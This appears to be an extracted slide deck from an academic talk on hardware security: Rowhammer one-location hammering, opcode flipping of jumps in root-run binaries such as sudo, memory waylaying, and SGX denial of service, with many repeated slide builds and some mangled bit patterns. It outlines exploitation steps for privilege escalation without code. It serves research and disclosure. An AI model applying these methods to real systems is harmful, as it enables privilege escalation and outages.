1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1

Daniel Gruss — Graz University of Technology
#3 - One-location hammering

![Diagram of a DRAM bank with rows and columns of 1s and 0s, highlighting a specific row and column combination to illustrate the hammering effect.]

Daniel Gruss — Graz University of Technology
#3 - One-location hammering

![Diagram of a DRAM bank with a block highlighted for activation.](image-url)
#3 - One-location hammering

![Diagram of DRAM bank with highlighted rows]
#3 - One-location hammering

![DRAM bank diagram]

1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1

activate

Daniel Gruss — Graz University of Technology
#3 - One-location hammering

![DRAM bank diagram with bit flips highlighted](image)

Daniel Gruss — Graz University of Technology
How to exploit random bit flips?

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for "good" ips
3. Place data structure there
4. Trigger bit flip again
How to exploit random bit flips?

They are not random!

highly reproducible

bit pattern!

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for “good” bit flips
3. Place data structure there
4. Trigger bit flip again

Daniel Gruss — Graz University of Technology
How to exploit random bit flips?

1. Choose a data structure that you can place at arbitrary memory locations.
2. Scan for good bit flips.
3. Place data structure there.
4. Trigger bit flip again.
How to exploit random bit flips?

- They are not random → highly reproducible flip pattern!
How to exploit random bit flips?

- They are not random → highly reproducible flip pattern!
  1. Choose a data structure that you can place at arbitrary memory locations
How to exploit random bit flips?

They are not random → highly reproducible flip pattern!

1. Choose a data structure that you can place at arbitrary memory locations
2. Scan for “good” flips
How to exploit random bit flips?

- They are not random → highly reproducible flip pattern!
  1. Choose a data structure that you can place at arbitrary memory locations
  2. Scan for “good” flips
  3. Place data structure there
How to exploit random bit flips?

- They are not random → highly reproducible flip pattern!
  1. Choose a data structure that you can place at arbitrary memory locations
  2. Scan for “good” flips
  3. Place data structure there
  4. Trigger bit flip again
What if we cannot target kernel pages?

Many applications perform actions as root. They can be used by unprivileged users as well with the `sudo` command.
What if we cannot target kernel pages?
What if we cannot target kernel pages?

Many applications perform actions as root. They can be used by unprivileged users as well.
What if we cannot target kernel pages?

- Many applications perform actions as root
What if we cannot target kernel pages?

- Many applications perform actions as root
What if we cannot target kernel pages?

• Many applications perform actions as root
• They can be used by unprivileged users as well
What if we cannot target kernel pages?

- Many applications perform actions as root
- They can be used by unprivileged users as well
What if we cannot target kernel pages?

- Many applications perform actions as root
- They can be used by unprivileged users as well
- `sudo`
 Opcode Flipping - Conditional Jump

JE

01110100

→

HLT

11110100
 Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

XORB

0 0 1 1 0 1 0 0
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

\[ \uparrow \]

PUSHQ

0 1 0 1 0 1 0 0
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

<prefix>

0 1 1 0 0 1 0 0

Daniel Gruss — Graz University of Technology
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

→

JL

0 1 1 1 1 1 1 0 0
Opcode Flipping - Conditional Jump

JE

0 1 1 1 0 1 0 0

JO

0 1 1 1 0 0 0 0
Opcode Flipping - Conditional Jump

JE

01110100

JBE

011101110
Opcode Flipping - Conditional Jump

JE

| 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 |

JNE

| 0 | 1 | 1 | 1 | 0 | 1 | 0 | 1 |

Daniel Gruss — Graz University of Technology
Page Cache

- If a binary is loaded the first time, it is loaded to the memory
• If a binary is loaded the first time, it is loaded to the memory
• It stays in memory (in the page cache) even after execution
• If a binary is loaded the first time, it is loaded to the memory
• It stays in memory (in the page cache) even after execution
• Only evicted if page cache is full
If a binary is loaded the first time, it is loaded to the memory. It stays in memory (in the page cache) even after execution. Only evicted if page cache is full. Page cache is huge - usually all unused memory.
MEMORY WAYLAYING
Wait for the right moment, and then hit it with a bit flip!
(1) Start
(2) Evict Page Cache
(3) Access Binary
(4) Evict + Access
(5) Evict + Access
(6) Stop if target reached
How well does it work?

- New pages cover most of the physical memory
How well does it work?

- Great advantage over memory massaging: only negligible memory footprint
Rowhammer + SGX = Cheap Denial of Service
• What happens if a bit flips in the SGX EPC?
Bit Flips in the EPC

- What happens if a bit flips in the SGX EPC?
- Integrity check will fail!
What happens if a bit flips in the SGX EPC?

- Integrity check will fail!

→ Locks up the memory controller
What happens if a bit flips in the SGX EPC?

• Integrity check will fail!

→ Locks up the memory controller

→ Not a single further memory access!
Bit Flips in the EPC

- What happens if a bit flips in the SGX EPC?
  - Integrity check will fail!
  - Locks up the memory controller
  - Not a single further memory access!
  - System halts immediately
Bit Flips in the EPC

- What happens if a bit flips in the SGX EPC?
- Integrity check will fail!
  - Locks up the memory controller
  - Not a single further memory access!
  - System halts immediately
SOUNDS UNSAFE?

IT IS UNSAFE!
If a malicious enclave induces a bit flip, ...
If a malicious enclave induces a bit flip, 

...the entire machine halts
• If a malicious enclave induces a bit flip, ...
• ... the entire machine halts
• ... including co-located tenants
If a malicious enclave induces a bit flip, . . .
. . . the entire machine halts
. . . including co-located tenants
• Denial-of-Service Attacks in the Cloud [Gru+18; Jan+17]
SGX + One-location Hammering + Opcode Flipping = Undetectable Exploit
STEALTH LEVEL: EXPERT
### Bypassing the Defenses

<table>
<thead>
<tr>
<th>Defense Class</th>
<th>Static Analysis</th>
<th>Performance Counters</th>
<th>Memory Access Pattern</th>
<th>Physical Proximity</th>
<th>Memory footprint</th>
</tr>
</thead>
<tbody>
<tr>
<td>Intel SGX</td>
<td>●</td>
<td>●</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
<tr>
<td>One-location hammering</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
</tr>
<tr>
<td>Opcode flipping</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>●</td>
</tr>
<tr>
<td>Memory waylaying</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>○</td>
<td>●</td>
</tr>
<tr>
<td><strong>Defense class defeated</strong></td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
<td>●</td>
</tr>
</tbody>
</table>
AT LEAST IT'S A LOCAL ATTACK
We have ignored microarchitectural attacks for many years:
We have ignored microarchitectural attacks for many years:

- attacks on crypto
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto $\rightarrow$ “software should be fixed”
- attacks on ASLR $\rightarrow$ “ASLR is broken anyway”
We have ignored microarchitectural attacks for many years:

- attacks on crypto \(\rightarrow\) “software should be fixed”
- attacks on ASLR \(\rightarrow\) “ASLR is broken anyway”
- attacks on SGX and TrustZone
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer → “only affects cheap sub-standard modules”
How did we get here?

We have ignored microarchitectural attacks for many years:

- attacks on crypto → “software should be fixed”
- attacks on ASLR → “ASLR is broken anyway”
- attacks on SGX and TrustZone → “not part of the threat model”
- Rowhammer → “only affects cheap sub-standard modules”

→ for years we solely optimized for performance
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
... and we're still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
→ it’s an optimization problem
  - what if “too aggressive” changes over time?
... and we’re still optimizing for performance

- lower refresh rate = lower energy but more bit flips
- ECC memory → fewer bit flips
  → it’s an optimization problem
    - what if “too aggressive” changes over time?
      → difficult to optimize with an intelligent adversary
• new class of software-based attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
Conclusions

- new class of software-based attacks
- many problems to solve around microarchitectural attacks and especially transient execution attacks
- dedicate more time into identifying problems and not solely in mitigating known problems
How the Hardware undermines Software Security

Daniel Gruss
March 25, 2019
Graz University of Technology
References